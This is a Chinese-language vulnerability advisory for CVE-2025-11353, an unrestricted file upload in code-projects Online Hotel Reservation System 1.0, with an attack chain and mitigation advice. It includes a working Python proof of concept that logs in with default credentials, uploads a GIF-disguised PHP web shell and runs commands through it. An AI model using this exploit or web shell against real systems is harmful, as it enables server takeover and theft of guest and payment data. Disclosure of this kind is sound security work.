IPBUF安全漏洞报告
English
CVE-2025-11353 CVSS 6.3 中危

CVE-2025-11353:Online Hotel Reservation System任意文件上传漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11353
漏洞类型
任意文件上传(Unrestricted File Upload)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Hotel Reservation System

相关标签

任意文件上传Unrestricted UploadOnline Hotel Reservation Systemcode-projectsPHPWeb Shell远程代码执行中危漏洞CWE-434已公开PoC

漏洞概述

CVE-2025-11353是code-projects公司开发的Online Hotel Reservation System(在线酒店预订系统)1.0版本中存在的一个安全漏洞。该漏洞位于/admin/addgalleryexec.php文件中,具体涉及对image参数的处理逻辑存在缺陷,攻击者可以通过操控该参数实现不受限制的文件上传(Unrestricted Upload)。

该漏洞的CVSS 3.1评分为6.3分,属于中危级别。从攻击特征来看,该漏洞可以通过网络远程利用,攻击者只需要具备低权限(已认证用户)即可发起攻击,无需用户交互。漏洞的成功利用会对系统的机密性、完整性和可用性均造成低级别的影响。

Online Hotel Reservation System是一款基于Web的酒店预订管理系统,提供房间管理、预订管理、图片画廊(Gallery)管理等后台管理功能。管理员可以通过后台界面上传酒店相关的图片素材,用于在网站前端展示。然而,由于addgalleryexec.php文件在处理上传文件时未对文件类型、扩展名及内容进行充分校验,导致攻击者可以上传任意类型的文件,包括Web Shell等恶意脚本文件,从而获取服务器控制权限。

值得注意的是,该漏洞的利用代码已公开披露(exploit is now public and may be used),这大大增加了漏洞被恶意利用的风险。管理员和运维人员应尽快对系统进行安全检查和修复。

技术细节

该漏洞的核心问题在于/admin/addgalleryexec.php文件对用户上传的image参数处理不当,未实施严格的文件类型校验机制。

**漏洞原理:**
在标准的文件上传场景中,服务器端应当对上传文件进行以下校验:
1. 文件扩展名白名单校验(如仅允许.jpg、.png、.gif等图片格式)
2. MIME类型校验
3. 文件内容头(Magic Bytes)校验
4. 文件大小限制
5. 文件名净化处理

然而,addgalleryexec.php文件未执行上述校验步骤或校验逻辑存在缺陷,导致攻击者可以绕过限制上传任意类型的文件。

**利用方式:**
1. 攻击者首先通过合法途径(如默认凭据或社工)获取管理员后台的低权限账户
2. 登录后访问/admin/addgalleryexec.php上传接口
3. 构造包含恶意脚本代码的文件(如shell.php),该文件伪装为图片文件
4. 通过image参数提交上传请求
5. 由于服务端未校验文件类型,恶意脚本被成功保存到Web可访问目录
6. 攻击者通过浏览器直接访问上传的Web Shell文件,获得服务器命令执行权限

**影响范围:**
成功利用该漏洞后,攻击者可以在Web服务器上执行任意命令,包括但不限于:读取敏感数据、植入后门、横向移动、发起DDoS攻击等。由于该系统通常部署在酒店业务环境中,可能涉及客户预订信息、支付数据等敏感数据,潜在危害较大。

攻击链分析

STEP 1
步骤1:获取凭证
攻击者通过默认凭据、暴力破解或社工等方式获取Online Hotel Reservation System管理员后台的低权限账户。
STEP 2
步骤2:登录管理后台
使用获取的凭证登录系统管理后台,获取有效的会话Cookie,为后续攻击做准备。
STEP 3
步骤3:构造恶意文件
构造包含恶意PHP代码的Web Shell文件(如shell.php),文件内容中嵌入图片文件头(如GIF89a)以伪装成图片文件。
STEP 4
步骤4:上传恶意文件
通过访问/admin/addgalleryexec.php上传接口,将恶意文件通过image参数提交上传。由于服务端未校验文件类型,文件被成功保存到服务器。
STEP 5
步骤5:定位并访问Web Shell
攻击者通过浏览上传目录或猜测常见路径,定位上传的Web Shell文件位置,并通过浏览器直接访问该文件。
STEP 6
步骤6:执行任意命令
通过Web Shell的cmd参数执行任意系统命令,获取服务器控制权限,进一步进行数据窃取、后门植入或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11353 - Online Hotel Reservation System Unrestricted File Upload PoC # Vulnerability: Unrestricted file upload in /admin/addgalleryexec.php via 'image' parameter # Author: Security Researcher import requests TARGET_URL = "http://target.com" ADMIN_PATH = "/admin/" UPLOAD_PATH = "/admin/addgalleryexec.php" USERNAME = "admin" PASSWORD = "admin" # Step 1: Login to admin panel to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } # Perform login login_url = TARGET_URL + ADMIN_PATH resp = session.post(login_url, data=login_data) print(f"[*] Login response status: {resp.status_code}") # Step 2: Prepare malicious PHP web shell disguised as image # The shell payload will be saved with .php extension web_shell_content = b"GIF89a;\n<?php echo system($_GET['cmd']); ?>" files = { "image": ("shell.php", web_shell_content, "image/gif") } # Step 3: Upload the malicious file upload_url = TARGET_URL + UPLOAD_PATH print(f"[*] Uploading payload to: {upload_url}") resp = session.post(upload_url, files=files) print(f"[*] Upload response status: {resp.status_code}") # Step 4: Try to access the uploaded shell # Common upload directories to check upload_dirs = [ "/admin/uploads/", "/admin/images/", "/uploads/", "/images/gallery/", "/gallery/" ] for upload_dir in upload_dirs: shell_url = TARGET_URL + upload_dir + "shell.php" print(f"[*] Trying shell at: {shell_url}") resp = requests.get(shell_url + "?cmd=id") if resp.status_code == 200 and "uid=" in resp.text: print(f"[+] SUCCESS! Shell is accessible at: {shell_url}") print(f"[+] Command output: {resp.text}") break else: print("[-] Could not locate uploaded shell, check upload directory manually")

影响范围

code-projects Online Hotel Reservation System 1.0

防御指南

临时缓解措施
在官方发布修复补丁之前,建议采取以下临时缓解措施:1)限制/admin/addgalleryexec.php的访问权限,仅允许特定IP地址访问;2)在上传目录中配置.htaccess文件,禁止PHP等脚本文件的执行权限;3)部署WAF规则,拦截包含PHP代码的文件上传请求;4)定期检查上传目录,及时清理可疑文件;5)修改默认管理员密码,启用双因素认证;6)监控系统日志,发现异常上传行为立即告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表